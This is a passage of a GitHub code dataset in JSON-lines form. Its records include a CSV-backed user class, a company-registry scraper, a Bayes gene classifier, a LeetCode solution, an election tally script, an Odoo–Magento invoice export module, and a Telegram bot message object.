# super().__init__(balance, count)\n self._id = user\n self.__first_name = first_name\n self.__last_name = last_name\n self.balance = balance\n self.wallet = Wallet(balance, count, user=self._id)\n self.transaction = Transaction(user=self._id, amount=0.00, transaction_type='basic')\n\n @property\n def id(self):\n return self._id\n\n @id.setter\n def set_id(self, value):\n print('setting id', value)\n all_user = self.get_all_users()\n for user in all_user:\n if user['_id'] == value:\n self.generate_uniqueid()\n else:\n self._id = value\n\n @property\n def first_name(self):\n return self.__first_name\n\n @first_name.setter\n def set_first_name(self, value):\n self._first_name = value\n\n @property\n def last_name(self):\n return self.__last_name\n\n @last_name.setter\n def set_last_name(self, value):\n return self.__last_name\n\n def __repr__(self):\n return f''\n\n @staticmethod\n def save_user(**kwargs) -> AnyStr:\n print(\"saving user...\")\n try:\n if not os.path.exists(\"user.csv\"):\n with open('user.csv', 'x') as user:\n pass\n with open('user.csv', 'a', newline='') as new_data:\n handler = csv.DictWriter(\n new_data, fieldnames=kwargs.keys())\n handler.writeheader()\n handler.writerow(**kwargs)\n\n else:\n with open('user.csv', 'a', newline='') as new_data:\n handler = csv.DictWriter(\n new_data, fieldnames=kwargs.keys())\n handler.writerow(kwargs)\n return 'Successful'\n except IOError as err:\n return err\n\n @staticmethod\n def get_all_users():\n with open('user.csv', 'r') as file:\n handler = csv.DictReader(file)\n return handler\n\n @staticmethod\n def get_one_user(_id):\n user = {}\n with open('user.csv', 'r') as file:\n handler = csv.DictReader(file)\n for key in handler:\n if key['_id'] == _id:\n user = key\n break\n return user\n\n @staticmethod\n def generate_uniqueid():\n return uuid.uuid4()\n\n def create_user(self):\n user_data = {\n '_id': self._id,\n 'first_name': self.first_name,\n 'last_name': self.last_name,\n }\n print('Creating user %s' % user_data)\n if self.save_user(**user_data):\n return 'User created successfully'\n else:\n return 'Seems operation is down at the moment, please try again later'\n\n @staticmethod\n def hash_password(value):\n salt = bcrypt.gensalt(10)\n hashed = bcrypt.hashpw(value, salt)\n return hashed\n\n @staticmethod\n def get_password(hashed, value):\n return bcrypt.checkpw(value, hashed)\n\n @classmethod\n def delete_user(cls, _id):\n user = {}\n new_data = []\n with open('user.csv', 'r') as file:\n handler = csv.DictReader(file)\n for key in handler:\n if key['_id'] == _id:\n user = key\n break\n password = str(input('Enter password'))\n if cls.get_password(user.password, password):\n users = cls.get_all_users()\n for user in users:\n if user['_id'] == _id:\n user.remove(users[user])\n new_data.append(user)\n with open('user.csv', 'w') as save_data:\n handler = csv.DictWriter(save_data, fieldnames=user.keys())\n handler.writeheader()\n for i in new_data:\n handler.writerow(i)\n else:\n print('Wrong password')\n cls.delete_user(_id)\n","repo_name":"nulltoluwanimi/ATS","sub_path":"WEEK4/Account/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31486736231","text":"import asyncio\r\nimport json\r\n\r\nimport aiohttp\r\n\r\nfrom utils.Base_spider import BaseSpider\r\n\r\n\r\nclass BriefCancel(BaseSpider):\r\n \"\"\"\r\n 简易注销爬虫\r\n \"\"\"\r\n\r\n def __init__(self, *args, **kwargs):\r\n # 继承父类的方法\r\n super().__init__(*args, **kwargs)\r\n\r\n async def detail_one_parse(self, data, company_name, company_id):\r\n \"\"\"\r\n 单独解析一个tr\r\n :return:\r\n \"\"\"\r\n data = json.loads(data)\r\n rules = ('result', 'announcement', 'objection')\r\n kwargs = {'company_name': company_name, 'company_id': company_id}\r\n [kwargs.update(data.get(rule)) for rule in rules]\r\n kwargs.update({'total': data.get('total')})\r\n\r\n tup = ('brief_cancel_result', 'reg_authority', 'credit_code', 'announcement_term', 'announcement_end_date',\r\n 'ossPath', 'objection_content', 'objection_date', 'company_name', 'company_id')\r\n values, keys = self.structure_sql_statement(tup, kwargs)\r\n sql = f'insert into das_tm_brief_cancel {keys} value {values};'\r\n print(sql)\r\n self.operating.save_mysql(sql)\r\n\r\n async def parse(self, company_id, company_name, ps=20, pn=1, resp=None):\r\n \"\"\"\r\n 对应的ajax接口爬取\r\n :param company_id:\r\n :param company_name:\r\n :param ps:\r\n :param pn:\r\n :param resp:\r\n :return:\r\n \"\"\"\r\n try:\r\n trs = self.get_xpath('//script[@id=\"brief_cancel_announcements_data\"]//text()', response=resp.text)\r\n async with aiohttp.ClientSession() as session:\r\n await asyncio.gather(*[self.detail_one_parse(data, company_name, company_id) for data in trs])\r\n except Exception as e:\r\n print(f'类 - - {BriefCancel.__name__} - - 异步请求出错：', e)\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n","repo_name":"freedom-wy/Spider_project","sub_path":"Dimension_spider/business_risk/brief_cancel_spider.py","file_name":"brief_cancel_spider.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37558133474","text":"import pyromine\nfrom setuptools import setup, find_packages\n\nwith open('README.rst') as f:\n readme = f.read()\n\nwith open('LICENSE') as f:\n license = f.read()\n\nrequirements = [\n 'logzero'\n]\n\nsetup(\n name='pyromine',\n version=pyromine.__version__,\n description='a mcpe python server',\n long_description=readme,\n author='Clark Dwain Luna',\n author_email='lclarkdwain@outlook.com',\n url='https://github.com/pyromine/pyromine',\n license=license,\n packages=find_packages(exclude=('tests', 'docs')),\n entry_points={\n 'console_scripts': [\n 'pyromine = pyromine.__main__:main'\n ]\n },\n install_requires=requirements\n)","repo_name":"Whiskas228/pyromine","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"37336146604","text":"'''\n2个基因的贝叶斯分类器训练，使用时需先修改开头处的先验概率，trainfile和testfile。请将testfile和trainfile放置在与本py文件同一目录下。\n'''\nimport numpy as np\nimport pandas as pd\nimport math\nimport matplotlib.pyplot as plt\n\npriorE3 = 0.5 #先验概率\npriorE5 = 0.5\nLikelihoodRatio = priorE5/priorE3 # E3和E5先验概率均为0.5时，似然比为1\ntrainfile=\"train_data_E3E5_2genes.txt\"\ntestfile=\"test_data_E3E5_2genes.txt\"\n\n#打开训练集\nTwoGenesSet =pd.read_table(trainfile, sep=' ') #读入数据\nTwoGenesLabel = (TwoGenesSet.values).T[2] # 筛选出每个样本的label作为Y向量\nTwoGenesFeature = np.asmatrix((TwoGenesSet.values).T[0:2].T) # 筛选出每个样本的Feature（每个样本有两个Feature），应该是样本数*2的矩阵\n\n# 训练样本集在假设正态分布下估计概率密度函数\n# 用最大似然分别估计E3和E5的均值和方差\nE3Mat = np.mat([0.0,0.0])\nE5Mat = np.mat([0.0,0.0])\n\nfor i in range(0,TwoGenesFeature.shape[0]): # 将E3和E5分别存入两个矩阵\n if TwoGenesLabel[i] == 'E3'and TwoGenesFeature[i,0]<10000 and 0 LikelihoodRatio:\n Predict.append('E3')\n else :\n Predict.append('E5')\nfor i in range(0, TestFeature.shape[0]):\n if Predict[i]==TrueLabel[i]:\n CorrectNum= CorrectNum+1\n\nCorrectRatio = CorrectNum/TestFeature.shape[0] # 计算正确率\nprint(CorrectRatio)\n\n\n'''\n# 画图部分\nfig = plt.figure()\nax1=fig.add_subplot(1,1,1)\nplt.axis([-2, 10, -2, 12])\nX1 = np.asarray(E3Mat.T[0])\nY1 = np.asarray(E3Mat.T[1])\nX2 = np.asarray(E5Mat.T[0])\nY2 = np.asarray(E5Mat.T[1])\np1 = ax1.scatter(X1,Y1,marker = 'o', color = 'r',label='1',s=10)\np2 = ax1.scatter(X2,Y2,marker = 'o',color ='b',label='2',s=10)\nax1.legend((p1, p2), ('E3', 'E5'), loc=2)\nplt.xlabel(\"Gene1\" )\nplt.ylabel(\"Gene2\")\n\ndef f(x,y): # 先验概率分别为1/6、5/6时的贝叶斯分类图线\n return np.exp(-0.5*(((x-5.52905751)*1.11419979+(y-8.58936641)*(-0.76240309))*(x-5.52905751)+(y-8.58936641)*((x-5.52905751)*(-0.76240309)+(y-8.58936641)*1.75739784)))/(2*pi*(E3VarDet**0.5))-5*np.exp(-0.5*(((y-5.58025939)* 0.13958308+(y-4.81857411)*(-0.09365703))*(x-5.58025939)+(y-4.81857411)*((x-5.58025939)*(-0.09365703)+(y-4.81857411)*0.51199497)))/(2*pi*(E3VarDet**0.5))\nx = np.linspace(-2, 10, 256)\ny = np.linspace(-2, 12, 256)\nX,Y = np.meshgrid(x, y)\nplt.contourf(X, Y, f(X, Y), 0, alpha = 0,cmap = plt.cm.hot)\nC = plt.contour(X, Y, f(X,Y), 0, colors = 'green', linewidth = 0.5)\n\ndef f2(x,y): # 先验概率分别为0.5的贝叶斯分类图线\n return np.exp(-0.5*(((x-5.52905751)*1.11419979+(y-8.58936641)*(-0.76240309))*(x-5.52905751)+(y-8.58936641)*((x-5.52905751)*(-0.76240309)+(y-8.58936641)*1.75739784)))/(2*pi*(E3VarDet**0.5))-np.exp(-0.5*(((y-5.58025939)* 0.13958308+(y-4.81857411)*(-0.09365703))*(x-5.58025939)+(y-4.81857411)*((x-5.58025939)*(-0.09365703)+(y-4.81857411)*0.51199497)))/(2*pi*(E3VarDet**0.5))\n\nplt.contourf(X, Y, f2(X, Y), 0, alpha = 0,cmap = plt.cm.hot)\nC2 = plt.contour(X, Y, f2(X,Y), 0, colors = 'yellow', linewidth = 0.5)\n\ndef g(x):\n return (0.00120384*(x)+0.0195)/0.00349472\nplt.plot([-2,15], [g(-2), g(15)])\n\ndef h(x):\n return (1.05967488*(x)+9.5)/2.09698244\nplt.plot([-2,15], [h(-2), h(15)])\nplt.show()\n'''\n\n\n\n\n","repo_name":"wwwjn/Pattern_Recognition","sub_path":"assignment1/Bayes_2gene.py","file_name":"Bayes_2gene.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6499627578","text":"#attempt2: Took help from LEETCODE. Nice problem, easy to think but took help\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n n=len(nums)-1\n for i in range(n,-1,-1):\n if i+nums[i]>=n:\n n=i\n return n==0\n\n#attempt1: TLE 74/75\n'''\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n n=len(nums)-1\n dp={}\n def dfs(index):\n if index>n:\n return False\n if index==n:\n return True\n if index in dp:\n return dp[index]\n ans=False\n for i in range(1,nums[index]+1):\n ans=dfs(index+i)\n if ans:\n dp[index]=ans\n return ans\n dp[index]=ans\n return ans\n return dfs(0)\n'''\n","repo_name":"sreyansb/LeetCode","sub_path":"RANDOM/LEETCODEJump_Game.py","file_name":"LEETCODEJump_Game.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"22190690714","text":"#Create python script to calculate\r\n# -The total number of votes cast\r\n# -A complete list of candidates who received votes\r\n# -The percentage of votes each candidate won\r\n# -The total number of votes each candidate won\r\n# -The winner of the election based on popular vote.\r\n#\r\n# looking forward to doing this type of thing with pandas\r\n\r\n# Modules\r\nimport os\r\nimport csv\r\n\r\n#csvpath = os.path.join('.', 'resources','election_data.csv')\r\n#txtpath = os.path.join('.', 'Analysis\\\\')\r\n\r\ncsvpath = 'c:\\\\users\\\\lunaclara\\\\python-challenge\\\\PyPoll\\\\resources\\\\election_data.csv'\r\ntxtpath = 'c:\\\\users\\\\lunaclara\\\\python-challenge\\\\PyPoll\\\\Analysis\\\\'\r\n\r\n\r\n#Set numeric variables to 0\r\nTotalvotes = 0\r\n\r\n#Open CSV reader\r\nwith open(csvpath) as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n headers = next(csvreader) [1:]\r\n\r\n Totalvotes = 0\r\n Candidates = []\r\n Candidate_Vote = {}\r\n Candidate_Percentage = 0\r\n\r\n for row in csvreader:\r\n\r\n #count total votes\r\n Totalvotes = Totalvotes + 1\r\n\r\n #find candidates\r\n Candidate_Name = row[2]\r\n\r\n #determine if new candidate needs to be added to list\r\n if Candidate_Name not in Candidates:\r\n Candidates.append(Candidate_Name)\r\n\r\n #initialize new candidate's vote count\r\n Candidate_Vote[Candidate_Name] = 0\r\n\r\n #add vote \r\n Candidate_Vote[Candidate_Name] = Candidate_Vote[Candidate_Name] + 1\r\n\r\n #Who won?\r\n maxkey = max(Candidate_Vote, key=Candidate_Vote.get)\r\n winner = (\"Winner: \" + maxkey)\r\n\r\n print(\"Election Results\")\r\n print(\"-----------------------\")\r\n for key, value in Candidate_Vote.items():\r\n print(key,\": \",\"{:.0%}\".format(value/Totalvotes),\" (\",value,\")\")\r\n print(\"-----------------------\") \r\n print(\"Winner: \",maxkey)\r\n print(\"-----------------------\") \r\n\r\n with open(txtpath + 'ElectionResults.txt','w') as f:\r\n f.write(\"Election Results\")\r\n f.write('\\n')\r\n f.write(\"-----------------------\")\r\n f.write('\\n')\r\n for key, value in Candidate_Vote.items():\r\n f.write(key)\r\n f.write(\": \")\r\n f.write(\"{:.0%}\".format(value/Totalvotes))\r\n f.write(\" (\")\r\n f.write(str(value))\r\n f.write(\")\")\r\n f.write(\"\\n\")\r\n f.write(\"-----------------------\")\r\n f.write('\\n')\r\n f.write(winner)\r\n f.write('\\n')\r\n f.write(\"-----------------------\")\r\n \r\n\r\n\r\n \r\n\r\n","repo_name":"phoebeburns/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38950544878","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDescribes methods for account move\n\"\"\"\nimport logging\nfrom odoo import models, fields, api, _\nfrom odoo.addons.odoo_magento2_ept.models.api_request import req\nfrom odoo.exceptions import Warning\n\n_logger = logging.getLogger(\"MagentoAccountMove\")\n\n\nclass AccountInvoice(models.Model):\n \"\"\"\n Describes fields and methods to import and export invoices of Magento.\n \"\"\"\n _inherit = 'account.move'\n\n magento_payment_method_id = fields.Many2one(\n 'magento.payment.method',\n string=\"Magento Payment Method\",\n help=\"Magento Payment Method\"\n )\n is_magento_invoice = fields.Boolean(\n string=\"Magento Invoice?\",\n help=\"If True, It is Magento Invoice\"\n )\n is_exported_to_magento = fields.Boolean(\n string='Exported to Magento',\n help='Exported to Magento', copy=False\n )\n magento_instance_id = fields.Many2one(\n 'magento.instance',\n string=\"Instance\",\n help=\"This field relocates Magento Instance\"\n )\n magento_invoice_id = fields.Char(string=\"Magento Invoice\")\n\n def export_invoice_to_magento(self, magento_instance):\n \"\"\"\n This method is used to export invoices into Magento.\n :param magento_instance: Instance of Magento.\n \"\"\"\n common_log_book_obj = self.env['common.log.book.ept']\n common_log_lines_obj = self.env['common.log.lines.ept']\n invoices = self.search([\n ('is_magento_invoice', '=', True),\n ('is_exported_to_magento', '=', False),\n ('magento_instance_id', 'in', magento_instance.ids),\n ('state', 'in', ['posted']),\n ('type', '=', 'out_invoice')\n ])\n model_id = common_log_lines_obj.get_model_id('account.move')\n job = common_log_book_obj.create({\n 'type': 'import',\n 'module': 'magento_ept',\n 'model_id': model_id,\n 'res_id': self.id,\n 'magento_instance_id': magento_instance.id\n })\n for invoice in invoices:\n if (invoice.magento_payment_method_id.create_invoice_on == 'paid' and invoice.invoice_payment_state == 'paid') or \\\n (invoice.magento_payment_method_id.create_invoice_on == 'open' and invoice.invoice_payment_state != 'paid'):\n sale_orders = invoice.invoice_line_ids.mapped('sale_line_ids').mapped('order_id')\n sale_order = sale_orders and sale_orders[0]\n invoice_lines = invoice.invoice_line_ids\n order_item = []\n for invoice_line in invoice_lines:\n item = {}\n sale_lines = invoice_line.sale_line_ids\n item_id = False\n if sale_lines:\n item_id = sale_lines[0].magento_sale_order_line_ref\n if item_id:\n qty = invoice_line.quantity\n item.setdefault(\"order_item_id\", item_id)\n item.setdefault(\"qty\", qty)\n order_item.append(item)\n notify_email = invoice.magento_instance_id.invoice_done_notify_customer\n invoice_name = invoice.name\n data = {\n \"items\": order_item,\n \"notify\": notify_email\n }\n response = False\n try:\n api_url = '/V1/order/%s/invoice' % sale_order.magento_order_id\n response = req(invoice.magento_instance_id, api_url, 'POST', data)\n except Exception as error:\n order_name = sale_order.name\n message = 'Error while exporting invoice, ' \\\n 'Invoice is %s and sale order is %s ' % (invoice_name, order_name) + \\\n str(error)\n job.write({\n 'log_lines': [(0, 0, {\n 'message': message,\n 'order_ref': invoice_name,\n })]\n })\n if response:\n invoice.write({\n 'magento_invoice_id': int(response),\n #while getting response from the magento it's return only invoice id as string\n 'is_exported_to_magento': True\n })\n else:\n message_payment = \"This invoice is not exported in magento due to your invoice payment state is \" \\\n \"<'%s'> and your payement configuration for create invoce is <'%s'>. \\n You can see the payment \" \\\n \"configuration here: Magento > Configuration > Payment Methods\" % (\n invoice.invoice_payment_state, invoice.magento_payment_method_id.create_invoice_on)\n job.write({\n 'log_lines': [(0, 0, {\n 'message': message_payment,\n 'order_ref': invoice.name,\n })]\n })\n if not job.log_lines:\n job.sudo().unlink()\n\n def export_invoice_in_magento(self):\n \"\"\"\n Export specific invoice in Magento through API\n \"\"\"\n self.ensure_one()\n common_log_book_obj = self.env['common.log.book.ept']\n common_log_lines_obj = self.env['common.log.lines.ept']\n instance = self.magento_instance_id\n model_id = common_log_lines_obj.get_model_id('account.move')\n job = common_log_book_obj.create({\n 'type': 'import',\n 'module': 'magento_ept',\n 'model_id': model_id,\n 'res_id': self.id,\n 'magento_instance_id': instance.id\n })\n if (self.magento_payment_method_id.create_invoice_on == 'paid' and self.invoice_payment_state == 'paid') or \\\n (self.magento_payment_method_id.create_invoice_on == 'open' and self.invoice_payment_state != 'paid'):\n sale_orders = self.invoice_line_ids.mapped('sale_line_ids').mapped('order_id')\n sale_order = sale_orders and sale_orders[0]\n invoice_lines = self.invoice_line_ids\n order_item = []\n for invoice_line in invoice_lines:\n item = {}\n sale_lines = invoice_line.sale_line_ids\n item_id = False\n if sale_lines:\n item_id = sale_lines[0].magento_sale_order_line_ref\n if item_id:\n qty = invoice_line.quantity\n item.setdefault(\"order_item_id\", item_id)\n item.setdefault(\"qty\", qty)\n order_item.append(item)\n notify_email = self.magento_instance_id.invoice_done_notify_customer\n invoice_name = self.name\n data = {\n \"items\": order_item,\n \"notify\": notify_email\n }\n response = False\n try:\n api_url = '/V1/order/%s/invoice' % sale_order.magento_order_id\n response = req(instance, api_url, 'POST', data)\n except Exception as error:\n order_name = sale_order.name\n message = 'While exporting invoice, API request is not reached to magento,' \\\n 'Invoice is %s and sale order is %s ' % (invoice_name, order_name) + \\\n str(error)\n job.write({\n 'log_lines': [(0, 0, {\n 'message': message,\n 'order_ref': invoice_name,\n })]\n })\n if response:\n self.write({\n 'magento_invoice_id': int(response),\n 'is_exported_to_magento': True\n })\n else:\n message = \"This invoice is not exported in magento due to your invoice payment state is \" \\\n \"<'%s'> and your payement configuration for create invoce is <'%s'>. \\n You can see the payment \" \\\n \"configuration here: Magento > Configuration > Payment Methods\" % (\n self.invoice_payment_state, self.magento_payment_method_id.create_invoice_on)\n raise Warning(message)\n if not job.log_lines:\n job.sudo().unlink()\n\n @staticmethod\n def _prepare_line_values(line, item_id, items):\n \"\"\"\n This method is set the values of the order items values\n -------------------\n :param line: credit line\n :param item_id: magento.order.line -> magento_item_id\n :return: dict(order_item_id, qty)\n \"\"\"\n for item in items:\n if item.get('order_item_id') == item_id:\n item.update({\n 'qty': item.get('qty') + line.quantity\n })\n return dict()\n return {\n \"order_item_id\": item_id,\n \"qty\": line.quantity,\n }\n\n @staticmethod\n def _calculate_discount(line):\n return round((line.price_unit * line.quantity) * line.discount / 100, 2)\n\n @staticmethod\n def _calculate_tax(line, discount=0):\n tax = 0\n if line.tax_ids:\n tax = line.price_total - line.price_subtotal\n return round(tax, 2)\n\n def _prepare_line_data(self):\n \"\"\"\n This method is used to prepare items data's\n -------------------\n :param: True if refund process online\n :return: list of dictionary\n \"\"\"\n items = list()\n product_ids = self._get_shipping_discount_product_ids()\n credit_lines = self.invoice_line_ids.filtered(\n lambda l: l.product_id.id and l.product_id.id not in product_ids)\n for line in credit_lines:\n item_id = line.sale_line_ids.magento_sale_order_line_ref\n values = self._prepare_line_values(line, item_id, items)\n if values:\n items.append(values)\n return items\n\n def _get_shipping_discount_product_ids(self, product='all'):\n ids = list()\n if product == 'all' or product == 'discount':\n try:\n rounding = self.env.ref('odoo_magento2_ept.magento_product_product_discount')\n ids.append(rounding.id)\n except Exception as error:\n _logger.error(error)\n # --START--\n # Shipping TAX & Discount is not affecting at Magento.\n if product == 'all' or product == 'ship':\n try:\n ship = self.env.ref('odoo_magento2_ept.product_product_shipping')\n ids.append(ship.id)\n except Exception as error:\n _logger.error(error)\n # --OVER--\n return ids\n\n def _get_payload_values(self, refund_type, return_stock, order):\n \"\"\"\n This method is used to prepare the request data that will\n -----------------\n :param: refund_type: possible values ('online', 'offline')\n :param: return_stock: True, if customer want to back item to stock.\n :param: order: sale order object\n :return: dict(values)\n \"\"\"\n values = dict()\n ship_charge = self._get_shipping_charge()\n if order.magento_order_id:\n items = self._prepare_line_data()\n values = self._prepare_order_payload(items=items, ship_charge=ship_charge,\n refund_type=refund_type,\n return_stock=return_stock)\n return values\n\n @staticmethod\n def _prepare_order_payload(**kwargs):\n is_online, item_ids = False, list()\n if kwargs.get('refund_type') == 'online':\n is_online = True\n if kwargs.get('return_stock'):\n item_ids = [item.get('order_item_id') for item in kwargs.get('items')]\n return {\n 'items': kwargs.get('items'),\n 'is_online': is_online,\n 'notify': True,\n 'arguments': {\n 'shipping_amount': kwargs.get('ship_charge', dict()).get('ship_price', 0),\n },\n 'extension_attributes': {\n 'return_to_stock_items': item_ids\n }\n }\n\n def _get_shipping_charge(self):\n \"\"\"\n This method used to calculate the shipping charges\n :return: dict()\n \"\"\"\n tax = discount = subtotal = price = 0.0\n product_id = self._get_shipping_discount_product_ids('ship')\n line = self.invoice_line_ids.filtered(lambda l: l.product_id.id in product_id)\n if line:\n discount = self._calculate_discount(line)\n tax = self._calculate_tax(line, discount)\n subtotal = line.price_subtotal\n price = line.price_unit\n return {\n 'ship_discount': discount,\n 'ship_tax': tax,\n 'ship_price_incl_discount': subtotal,\n 'ship_price': price,\n }\n\n def _create_log_process(self, success):\n \"\"\"\n This method is used to create the log of the credit memo\n :param: result: response of the magento CreditMemo api request\n :return: True\n \"\"\"\n log = self.env['magento.process.log'].create_process_log(self.magento_instance_id,\n 'credit_memo')\n log_line_obj = self.env['magento.process.log.line']\n if success:\n message = \"Credit Memo : {} has been refunded successfully\".format(self.number)\n else:\n message = \"Error While in refund process, Credit Memo : {}\".format(self.number)\n log_line_obj.create_process_log_line(log, message)\n return True\n\n def action_create_credit_memo(self, refund_type, return_stock):\n \"\"\"\n This method is responsible for creation of the CreditMemo\n -------------------\n :param refund_type: possible values (online/offline)\n :param return_stock: bool\n :return: bool(True/False)\n \"\"\"\n instance = self.magento_instance_id\n parent_id = self.reversed_entry_id\n if instance and not self.is_exported_to_magento and parent_id:\n order = parent_id.invoice_line_ids.mapped('sale_line_ids.order_id')\n if order:\n values = self._get_payload_values(refund_type, return_stock, order)\n # Offline Refund API Endpoint\n request_path = '/V1/order/{}/refund'.format(order.magento_order_id)\n if refund_type == 'online':\n invoice_id = self._get_magento_invoice_id(order.magento_order_id, instance)\n if not invoice_id:\n message = \"For Order #{} Invoice are not created at Magento. \" \\\n \"Refund are only possible if invoice is already created at \" \\\n \"Magento.\".format(order.client_order_ref)\n raise Warning(_(message))\n # Online Refund API Endpoint\n request_path = '/V1/invoice/{}/refund'.format(invoice_id)\n result = req(instance, request_path, 'POST', data=values)\n if result:\n self.write({'is_exported_to_magento': True})\n else:\n raise Warning(_('Could not create credit memo at Magento!!'))\n return True\n\n @staticmethod\n def _get_magento_invoice_id(magento_id, instance):\n \"\"\"\n This method help to build the url path for the ONLINE REFUND\n -------------------\n :param magento_id: magento oder id\n :param instance: Magento instance\n :return: Magento Invoice Id\n \"\"\"\n path = \"/V1/invoices?\" \\\n \"searchCriteria[filter_groups][0][filters][0][field]=order_id&\" \\\n \"searchCriteria[filter_groups][0][filters][0][value]={}&\" \\\n \"searchCriteria[filter_groups][0][filters][0][condition_type]=eq\".format(magento_id)\n result = req(instance, path, 'GET')\n invoice_id = False\n if result and result.get('items'):\n # FIXME: Need to handle the case when one order has multiple invoices at Magento\n invoice_id = result.get('items')[0].get('entity_id')\n return invoice_id\n\n @api.model\n def _refund_cleanup_lines(self, lines):\n \"\"\"\n This method inherited to store the sale_line_ids value in Many2many field.\n :param lines: invoice line\n :return: result\n \"\"\"\n result = super(AccountInvoice, self)._refund_cleanup_lines(lines)\n for i, line in enumerate(lines):\n for name, field in line._fields.items():\n if name == 'sale_line_ids':\n result[i][2][name] = [(6, 0, line[name].ids)]\n return result\n","repo_name":"hardikd-emipro/magento2_connector_testing","sub_path":"odoo_magento2_ept/models/account_move.py","file_name":"account_move.py","file_ext":"py","file_size_in_byte":16886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15123848205","text":"class Solution:\n def countPrimes(self, n: int) -> int:\n cnt = 0\n isPrime = [True for _ in range(n)]\n for i in range(2, math.floor(n**0.5)+1):\n if not isPrime[i]:\n continue\n for j in range(i**2, n, i):\n isPrime[j] = False\n \n for i in range(2, n):\n if isPrime[i]:\n cnt += 1\n return cnt\n \n","repo_name":"YuZiHanorz/oj","sub_path":"array/204.py","file_name":"204.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34218788994","text":"START = {\n \"_\": \"Message\",\n \"id\": 1,\n \"from_user\": {\n \"_\": \"User\",\n \"id\": 5534952877,\n \"is_self\": False,\n \"is_contact\": False,\n \"is_mutual_contact\": False,\n \"is_deleted\": False,\n \"is_bot\": True,\n \"is_verified\": False,\n \"is_restricted\": False,\n \"is_scam\": False,\n \"is_fake\": False,\n \"is_support\": False,\n \"is_premium\": False,\n \"first_name\": \"⛩ Аватарки | Бот\",\n \"username\": \"anime_4bot\",\n \"dc_id\": 2,\n \"photo\": {\n \"_\": \"ChatPhoto\",\n \"small_file_id\": \"AQADAgADt8YxG21tiUoAEAIAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"small_photo_unique_id\": \"AgADt8YxG21tiUo\",\n \"big_file_id\": \"AQADAgADt8YxG21tiUoAEAMAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"big_photo_unique_id\": \"AgADt8YxG21tiUo\",\n },\n },\n \"date\": \"2023-01-01 00:00:00\",\n \"chat\": {\n \"_\": \"Chat\",\n \"id\": 5534952877,\n \"type\": \"ChatType.BOT\",\n \"is_verified\": False,\n \"is_restricted\": False,\n \"is_scam\": False,\n \"is_fake\": False,\n \"is_support\": False,\n \"username\": \"anime_4bot\",\n \"first_name\": \"⛩ Аватарки | Бот\",\n \"photo\": {\n \"_\": \"ChatPhoto\",\n \"small_file_id\": \"AQADAgADt8YxG21tiUoAEAIAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"small_photo_unique_id\": \"AgADt8YxG21tiUo\",\n \"big_file_id\": \"AQADAgADt8YxG21tiUoAEAMAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"big_photo_unique_id\": \"AgADt8YxG21tiUo\",\n },\n \"dc_id\": 2,\n },\n \"mentioned\": False,\n \"scheduled\": False,\n \"from_scheduled\": False,\n \"has_protected_content\": False,\n \"text\": \"⛩ Привет, Макс Соболь!\\n\\nЯ буду отправлять тебе аватарки и классные пикчи, которые ты сможешь использовать в своих диалогах 👌🏻\\n\\nДобавляй меня в свой чат или начинай пользоваться прямо здесь 😉\",\n \"entities\": [\n {\n \"_\": \"MessageEntity\",\n \"type\": \"MessageEntityType.TEXT_MENTION\",\n \"offset\": 10,\n \"length\": 11,\n \"user\": {\n \"_\": \"User\",\n \"id\": 1980530667,\n \"is_self\": True,\n \"is_contact\": False,\n \"is_mutual_contact\": False,\n \"is_deleted\": False,\n \"is_bot\": False,\n \"is_verified\": False,\n \"is_restricted\": False,\n \"is_scam\": False,\n \"is_fake\": False,\n \"is_support\": False,\n \"is_premium\": False,\n \"first_name\": \"Макс Соболь\",\n \"status\": \"UserStatus.OFFLINE\",\n \"last_online_date\": \"2023-01-01 00:00:00\",\n \"username\": \"max_sobol\",\n \"dc_id\": 2,\n \"phone_number\": \"*********\",\n \"photo\": {\n \"_\": \"ChatPhoto\",\n \"small_file_id\": \"AQADAgADzLkxGx4SYUsAEAIAA-t_DHYABBy5Tm184D0rAAQeBA\",\n \"small_photo_unique_id\": \"AgADzLkxGx4SYUs\",\n \"big_file_id\": \"AQADAgADzLkxGx4SYUsAEAMAA-t_DHYABBy5Tm184D0rAAQeBA\",\n \"big_photo_unique_id\": \"AgADzLkxGx4SYUs\",\n },\n },\n }\n ],\n \"outgoing\": False,\n \"reply_markup\": {\n \"_\": \"InlineKeyboardMarkup\",\n \"inline_keyboard\": [\n [\n {\n \"_\": \"InlineKeyboardButton\",\n \"text\": \"⛩ Аниме авы\",\n \"callback_data\": \"⛩ Аниме авы\",\n },\n {\n \"_\": \"InlineKeyboardButton\",\n \"text\": \"🎎 Парные аватарки\",\n \"callback_data\": \"🎎 Парные аватарки\",\n },\n ],\n [\n {\n \"_\": \"InlineKeyboardButton\",\n \"text\": \"💖 Милые пикчи\",\n \"callback_data\": \"💖 Милые пикчи\",\n },\n {\n \"_\": \"InlineKeyboardButton\",\n \"text\": \"😡 Агрессивные\",\n \"callback_data\": \"😡 Агрессивные\",\n },\n ],\n [\n {\n \"_\": 